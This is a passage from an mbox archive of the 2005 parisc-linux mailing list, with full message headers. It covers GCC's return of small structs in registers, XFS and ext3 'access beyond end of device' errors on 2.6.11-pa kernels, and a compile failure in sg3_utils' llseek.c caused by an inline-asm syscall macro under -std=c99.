-- 
Alan Modra
IBM OzLabs - Linux Technology Centre
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Runing small structs from functions.
Date: Thu, 10 Mar 2005 22:48:51 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20050311064850.GV4645@tausq.org>
References: <20050310170312.GM22872@baldric.uwo.ca>
	<200503101838.j2AIcgqI018769@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623691 12947 80.91.229.3 (22 Nov 2014 02:34:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2005 06:49:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 11 Mar 2005 07:49:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C16347D658;
	Thu, 10 Mar 2005 23:50:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29091-01; Thu, 10 Mar 2005 23:50:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A5367D65C;
	Thu, 10 Mar 2005 23:50:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2074E7D658
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 23:50:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28931-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 23:50:08 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 3B50B7D654
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 23:50:08 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 391B6112165; Thu, 10 Mar 2005 22:48:51 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200503101838.j2AIcgqI018769@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FlNaKpYETlIv47eQeGhrSVVGU2poZZmG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22421

> This "should" work with 3.3 and later.  In previous versions, the
> justification was wrong and possibly 5-8 byte structs were not
> returned in ret0/ret1.  There is an incorrect code PR for a struct
> with three shorts.  I believe this problem is fixed in GCC 4.0 and
> later.  It would be safer if you explicitly pad the structs to 4
> or 8 bytes.  I can't remember if old versions of GCC return 5-8
> byte structs in ret0/ret1.  There was definitely a justification
> problem.

gcc-3.3 also returns <=8 bytes structs in ret0/ret1. there are lots of
gdb test cases to verify this.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Runing small structs from functions.
Date: Fri, 11 Mar 2005 10:39:38 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200503111539.j2BFdcwL015273@hiauly1.hia.nrc.ca>
References: <20050311064850.GV4645@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623692 12949 80.91.229.3 (22 Nov 2014 02:34:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2005 15:39:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 11 Mar 2005 16:39:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC9637D658;
	Fri, 11 Mar 2005 08:40:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00424-05; Fri, 11 Mar 2005 08:40:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C824C7D65B;
	Fri, 11 Mar 2005 08:40:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DE5F7D658
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 08:40:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00424-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 08:40:48 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8FC007D611
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 08:40:48 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2BFddhF015274; Fri, 11 Mar 2005 10:39:39 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2BFdcwL015273;
	Fri, 11 Mar 2005 10:39:38 -0500 (EST)
In-Reply-To: <20050311064850.GV4645@tausq.org> from "Randolph Chung" at Mar 10,
	2005 10:48:51 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qNdaKqNRTlIv47eQeGhrSVVGU2poZZnY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22422

> gcc-3.3 also returns <=8 bytes structs in ret0/ret1. there are lots of
> gdb test cases to verify this.

Right, the ABI fix in the PA backend was made in 3.3.  I was referring
to earlier versions.  As noted in my previous message, there still
are issues with small structs in 3.3.  See this PR:
<http://gcc.gnu.org/bugzilla/show_bug.cgi?id=18956>.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] xfs and ext3 pb on 2.6.11-pa
Date: Fri, 11 Mar 2005 18:00:12 +0100
Lines: 135
Approved: news@gmane.org
Message-ID: <4208D5150000DBAE@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623692 12950 80.91.229.3 (22 Nov 2014 02:34:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2005 17:00:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx032) with SMTP; 11 Mar 2005 18:00:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B774A7D65B;
	Fri, 11 Mar 2005 10:01:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00664-08; Fri, 11 Mar 2005 10:01:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CFC177D65C;
	Fri, 11 Mar 2005 10:01:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6410C7D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 10:01:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00664-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 10:01:25 -0700 (MST)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 88E3C7D658
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 10:01:24 -0700 (MST)
Original-Received: from mail-5-bnl.mail.tiscali.sys ([10.39.115.135]
	helo=mail-5-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43) id 1D9nUj-00088G-8k
	for parisc-linux@lists.parisc-linux.org; Fri, 11 Mar 2005 18:00:14 +0100
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Fri, 11 Mar 2005 18:00:12 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: p6JaKkQXTlIv47eQeGhrSVVGU2poZZmj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22423

Hello pa,

I was interested by xfs pb related by Grant and GMSoft and I reach to als=
o
obtain a corupted xfs (on a disk slice over which a reading dd doesn't se=
ems
to encounter any pb).

On my b180 running a 2.6.11-pa2 (cvs dated 20050310) with xfs builtin, th=
e
error is always the same:
XFS mounting filesystem sdd1
attempt to access beyond end of device
sdd1: rw=3D0, want=3D3130210928, limit=3D4098200
I/O error in filesystem ("sdd1") meta-data dev sdd1 block 0xba933a68    
  ("xfs_trans_read_buf") error 5 buf count 4096

>>here xfs_check ...
>> then remount and make menuconfig

XFS mounting filesystem sdd1
attempt to access beyond end of device
sdd1: rw=3D0, want=3D3130110864, limit=3D4098200
I/O error in filesystem ("sdd1") meta-data dev sdd1 block 0xba91b388    
  ("xfs_trans_read_buf") error 5 buf count 4096

>> here xfs_repair ...
>> then same remount and make menuconfig

XFS mounting filesystem sdd1
attempt to access beyond end of device
sdd1: rw=3D0, want=3D3130110864, limit=3D4098200
I/O error in filesystem ("sdd1") meta-data dev sdd1 block 0xba91b388    
  ("xfs_trans_read_buf") error 5 buf count 4096
...

this pb seems to be reproducible on D270, c3600 and b180 (all 32bit).

Is it the same with a 64bit kernel as for a A model?

mmm I thought first to a xfs pb when I remember that I encountered (but o=
nly
one time on only one 32bit system) a similar message with a ext3 (/var) o=
n
another b180 running another  2.6.11-pa1:
attempt to access beyond end of device
md3: rw=3D0, want=3D336860182, limit=3D511744
EXT3-fs error (device md3): ext3_free_branches: Read failure, inode=3D122=
11,
block=3D168430090
Aborting journal on device md3.
ext3_abort called.
EXT3-fs error (device md3): ext3_journal_start_sb: Detected aborted journ=
al
Remounting filesystem read-only
EXT3-fs error (device md3) in start_transaction: Journal has aborted
EXT3-fs error (device md3) in start_transaction: Journal has aborted
EXT3-fs error (device md3) in start_transaction: Journal has aborted
attempt to access beyond end of device
md3: rw=3D0, want=3D1961286348, limit=3D511744
EXT3-fs error (device md3): ext3_free_branches: Read failure, inode=3D122=
11,
block=3D980643173
attempt to access beyond end of device
md3: rw=3D0, want=3D3906093258, limit=3D511744
EXT3-fs error (device md3): ext3_free_branches: Read failure, inode=3D122=
11,
block=3D1953046628
attempt to access beyond end of device
md3: rw=3D0, want=3D3535458028, limit=3D511744
EXT3-fs error (device md3): ext3_free_branches: Read failure, inode=3D122=
11,
block=3D1767729013
attempt to access beyond end of device
md3: rw=3D0, want=3D3068543198, limit=3D511744
EXT3-fs error (device md3): ext3_free_branches: Read failure, inode=3D122=
11,
block=3D1534271598
attempt to access beyond end of device
...
attempt to access beyond end of device
md3: rw=3D0, want=3D3465680116, limit=3D511744
EXT3-fs error (device md3): ext3_free_branches: Read failure, inode=3D122=
11,
block=3D1732840057
attempt to access beyond end of device
md3: rw=3D0, want=3D3772833498, limit=3D511744
EXT3-fs error (device md3): ext3_free_branches: Read failure, inode=3D122=
11,
block=3D1886416748
attempt to access beyond end of device
md3: rw=3D0, want=3D3428729052, limit=3D511744
EXT3-fs error (device md3): ext3_free_branches: Read failure, inode=3D122=
11,
block=3D1714364525
attempt to access beyond end of device
md3: rw=3D0, want=3D3739535560, limit=3D511744
EXT3-fs error (device md3): ext3_free_branches: Read failure, inode=3D122=
11,
block=3D1869767779
attempt to access beyond end of device
md3: rw=3D0, want=3D1581312222, limit=3D511744
EXT3-fs error (device md3): ext3_free_branches: Read failure, inode=3D122=
11,
block=3D790656110
ext3_reserve_inode_write: aborting transaction: Journal has aborted in __=
ext3_journal_get_write_access<2>EXT3-fs
error (device md3)dext3_reserve_inode_write: aborting transaction: Journa=
l
has aborted in __ext3_journal_get_write_access<2>EXT3-fs error (device md=
3)dEXT3-fs
error (device md3) in ext3_orphan_del: Journal has aborted
EXT3-fs error (device md3) in ext3_truncate: Journal has aborted
__journal_remove_journal_head: freeing b_committed_data

But here it seems that a fsck was enough to help the system to work again=

for 3 day without any new error messages
(let see after the w-e, ...)

Are they well related pb or completely seperated?
If well related, which code trunk is/are common to xfs and ext3?

Any idea?

Thanks in advance,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: review sg_format
Date: Fri, 11 Mar 2005 10:39:29 -0700
Lines: 106
Approved: news@gmane.org
Message-ID: <20050311173929.GA15070@colo.lackof.org>
References: <4210A33A.5020004@torque.net>
	<1110428346.17563.89.camel@bluto.andrew>
	<423006B1.2030008@torque.net>
	<20050311064021.GA7208@colo.lackof.org>
	<42314D8B.1080202@torque.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623692 12952 80.91.229.3 (22 Nov 2014 02:34:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Douglas Gilbert <dougg@torque.net>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2005 17:38:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx020) with SMTP; 11 Mar 2005 18:38:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 785D57D65C;
	Fri, 11 Mar 2005 10:39:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01251-06; Fri, 11 Mar 2005 10:39:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 841427D662;
	Fri, 11 Mar 2005 10:39:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6934C7D658
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 10:39:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01251-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 10:39:19 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id D22887D64B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 10:39:18 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 11FD1298059;
	Fri, 11 Mar 2005 10:39:31 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16371-02; Fri, 11 Mar 2005 10:39:29 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 862FD298011; Fri, 11 Mar 2005 10:39:29 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <42314D8B.1080202@torque.net>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8rtaKg1xTlIv47eQeGhrSVVGU2poZdma
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22424

On Fri, Mar 11, 2005 at 05:49:31PM +1000, Douglas Gilbert wrote:
> >The problem is with the asm/unistd.h header file that comes from
> >the debian kernel-headers-2.4.26 package.

I think I'm wrong about this - I should be using "linux-kernel-headers"
package like on gsyprf3. Below is more analysis on the problem.

Bottomline: My guess is we could modify asm-parisc syscall
  to be "-std=c99" friendly. I'd like to hear other peoples
  opinions on that.

> >Linue 46 of llseek.c is static decl of _syscall5
> >and that collides with the "#define _syscall5"
> >in asm/unistd.h. The same #define is in our current 2.6 kernel
> >(see gsyprf11:/usr/src/linux-2.6/include/asm/unistd.h).
> >All the asm-*/unistd.h have this #define. 

...and _syscall5 is just a "victim".

> Grant,
> Thanks for picking that up. That llseek.c has an "asm"
> keyword in it which isn't kosher C90 nor C99 . So the
> "-pendantic" adds some warnings and the "-std=c99"
> promotes them into errors.

Hrm...I've generated the pre-processed file on
	gsyprf11:/usr/src/sg3_utils-1.13/llseek.P

The offending code is coming from K_INLINE_SYSCALL() macro
that's defined in asm/unistd.h.
I expect Line 1754 is the offending one.
I've reformatted below so it's readable:

static int _llseek(unsigned int fd, unsigned long offset_high,
	 unsigned long offset_low, llse_loff_t * result, unsigned int origin)
{
	return (
	{ unsigned long __sys_res;
	{ register unsigned long __res asm("r28");
	register unsigned long __r22 __asm__("r22") = (unsigned long)origin;
	register unsigned long __r23 __asm__("r23") = (unsigned long)result;
	register unsigned long __r24 __asm__("r24") = (unsigned long)offset_low;
	register unsigned long __r25 __asm__("r25") = (unsigned long)offset_high;
	register unsigned long __r26 __asm__("r26") = (unsigned long)fd;
	asm volatile(	"ble  0x100(%%sr2, %%r0)\n\t"
			" ldi %1, %%r20"
			: "=r" (__res)
			: "i" ((0 + 140)) , "r" (__r26), "r" (__r25), 
				"r" (__r24), "r" (__r23), "r" (__r22) );
	__sys_res = __res;
	}
	if (__sys_res >= (unsigned long)-4095) {
		(*__errno_location ()) = -__sys_res;
		 __sys_res = (unsigned long)-1;
	}
	__sys_res;
	}
	);
} 

If "asm" is the only offending bit, can that be fixed in the kernel
header files and/or submit a patch against glibc header files so
that future releases can be compiled with "-std=c99"?

Looking at code in llseek.c inside the #ifdef __linux__, a few things
strike me as odd:
o None of the architectures in recent 2.4 or 2.6 kernel define HAVE_LLSEEK.
  This looks obsolete because all linux arches support llseek now.

o Why the #if alpha || ia64 || s390x to use a private my_llseek wrapper?
  "my_llseek" also seems obsolete like HAVE_LLSEEK.
  Are they the only ones to NOT define llseek because they only have
  64-bit user space? (ie lseek is a synonym to llseek for those three?)

  FWIW,  I added defined(__hppa__) to the #if and it properly linked.
  sg_dd seems to work correctly but I'm certain I'm not excercising the
  code properly (e.g. testing syscall restart) or able to verify the results.
  And I've also not tested on older (2.4) kernels where other things
  might be broken.


> I built the latest util-linux
> on gsyprf11 (llssek.c is in the fdisk directory) and it
> went ok (until I added "-std=c99" to llseek.c's compile
> line).

ok. But I still wonder if parisc port needs to change anything.

> Just rolling two new versions:
>    sg3_utils-1.13.tgz    [without "-pedantic -std=c99"]
>    sg3_utils-1.13-pedantic.tgz  [with "     "]
> 
> They will be on gsyprf3 (which has no problem with llseek.c)
> + gsyprf11 shortly.

AFAICT, gsyprf3 builds/links fine because my_llseek gets used
instead of unistd.h.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Solution to OPD's in hppa-linux,
	including a transition plan?
Date: Fri, 11 Mar 2005 13:05:42 -0500
Lines: 102
Approved: news@gmane.org
Message-ID: <20050311180542.GV22872@baldric.uwo.ca>
References: <20050308175445.GV23803@baldric.uwo.ca>
	<200503081902.j28J2XMe002188@hiauly1.hia.nrc.ca>
	<20050308210851.GA23803@baldric.uwo.ca>
	<20050308222513.GF15642@bubble.modra.org>
	<20050310153120.GJ22872@baldric.uwo.ca>
	<20050310222751.GE7616@bubble.modra.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623693 12956 80.91.229.3 (22 Nov 2014 02:34:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:53 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: Alan Modra <amodra@bigpond.net.au>
Original-X-From: - Wed Jul 02 21:27:17 2014
